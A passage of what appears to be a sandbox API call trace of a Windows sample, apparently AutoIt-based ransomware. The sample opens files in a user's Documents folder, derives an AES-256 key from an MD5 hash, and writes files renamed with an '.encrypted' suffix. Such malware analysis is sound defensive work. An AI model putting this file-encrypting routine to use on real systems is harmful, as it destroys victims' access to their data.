lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0025.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\n", cchWideChar=76, lpMultiByteStr=0xe8f406a070, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\n", lpUsedDefaultChar=0x0) returned 76 [0025.274] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069d70*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069d70*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4b, lpOverlapped=0x0) returned 1 [0025.274] CloseHandle (hObject=0x188) returned 1 [0025.275] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.275] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.275] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.275] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.275] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.275] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.275] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.276] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.277] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178800, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.277] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178980, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.277] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.pps", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0025.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.pps", cchWideChar=57, lpMultiByteStr=0xe8f40515e0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.pps", lpUsedDefaultChar=0x0) returned 57 [0025.277] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\ljdvlgso.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0025.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=57, lpWideCharStr=0xe8f40671f0, cchWideChar=57 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.pps") returned 57 [0025.278] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.278] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.278] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.279] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.279] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.279] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.279] CloseHandle (hObject=0x188) returned 1 [0025.279] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.279] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.279] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.280] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.280] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.280] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.280] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.280] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.280] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.281] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.281] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.282] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.282] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.282] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.282] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.282] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.283] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b540, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.283] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.283] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062800) returned 1 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.283] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.283] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.285] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\ljdvlgso.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.285] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.285] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, 